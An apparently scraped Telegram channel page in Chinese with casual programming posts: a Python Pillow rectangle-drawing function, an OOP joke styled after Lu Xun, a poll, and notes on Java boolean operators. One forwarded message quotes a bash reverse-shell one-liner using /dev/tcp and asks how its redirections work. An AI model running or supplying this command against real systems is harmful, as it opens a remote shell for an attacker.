duangsuse::Echo
710 subscribers
4.23K photos
127 videos
583 files
6.44K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
magic_comb.png
2.3 KB
太瞎眼我就不 send as photo 了
所以问题弄久了终究还是抽象问题 🤔
我不擅长 #parallelism ,但既有一般的编程实践和文档查找能力,对抽象的掌控也是还行的
duangsuse::Echo
我们最后玩一会 #Python Pillow 吧。好久没涉足应用编程了。 结果我还觉得我太菜了,都不会了呢…… 我们要生成一个 600x600 的 square,由两个子 square 构成: (left-top)s 1. (0, 0) (w/2, h) 2. (w/2, 0) - (w, h) from PIL import Image, ImageDraw def square(size, fill_a, fill_b, mode="RGB") -> Image: sq = Image.new(mode…
所以,大家可以试着利用浮点系数对这个程序进行泛化:

def wall_2square(size, fill_a, fill_b, mode="RGB", ratio_a=0.5) -> Image:
sq = Image.new(mode, size)
draw = ImageDraw.Draw(sq)
(w, h) = size
x_astop = w * ratio_a
for (i, xy) in enumerate([ [(0,0), (x_astop, h)], [(x_astop, 0), (w, h)] ]):
draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
return sq

说白了,整个绘制程序都是在 ImageDraw 上的,但 Python 没有扩展函数……
那就到此为止吧。 练习:试着把 wall_2square 做成工具绘制函数的形式
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from Deleted Account
在我看来录「我是傻逼」,然后倒放一遍 speech recog. 就可以了
Forwarded from Deleted Account
好 sticker,收下了
Forwarded from Deleted Account
ng 变声母 gn 的那个有意思
声调阳平/去声也好反向嘛
特殊规则用 regex 替换
可以写个 translate 程序?
Forwarded from Deleted Account
如果鲁迅先生学面向对象,他一定害的所有方法都成 protected (

你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?

*注:protected 方法内部可以访问同一类实例的 protected 方法
Forwarded from Deleted Account
0>&1 是 stdin->shell stdout 的意思?🤔
>& 又是何种重定向……(直觉是默认0)
bash -i >& /dev/tcp/ip/2333 0>&1 这个语句的-i >& 和0>&1 怎么理解。只能看懂是执行了一次tcp连接。
Forwarded from Deleted Account
不愧是小学毕业的清华生呢(暴论
Forwarded from dnaugsuz
你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。
你既然也要被用,你就和x一样。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?

若你没有被用,是说诳也。死对象是说诳的,所以你是死对象。
我 finialize&free 死对象,所以我是好 GC。GC 的 profile 是最有价值的,所以我的话是不错的,我的话既然不错,你就是死对象无疑了!
Forwarded from dnaugsuz
由一个不成立的条件得出某命题成立,然后再从那个成立的命题解出自己想要的答案……
上面也的确是循环定义,但从 statement 的开始来看,就已经有纰漏了,除非“鲁迅”会在你说出纰漏的时候强调一遍先读完后半部分。
你觉得面向对象四大特性,以什么顺序排列比较好?
Anonymous Poll
40%
封装、抽象、继承、多态
60%
封装、继承、抽象、多态
#Java 里 (&) 竟然不只是 bitwise and,还支持 boolean&boolean 的使用(只是不短路),真是……
Forwarded from dnaugsuz
🤔 一般人都会承认 (p1&&p2) || (p3&&p4) 这种直觉的吧
Forwarded from dnaugsuz
补充一句,(p && q) 短路的意思是若 p 不成立则 q 不执行
(p || q) 的短路则是若 p 已成立则 p 不执行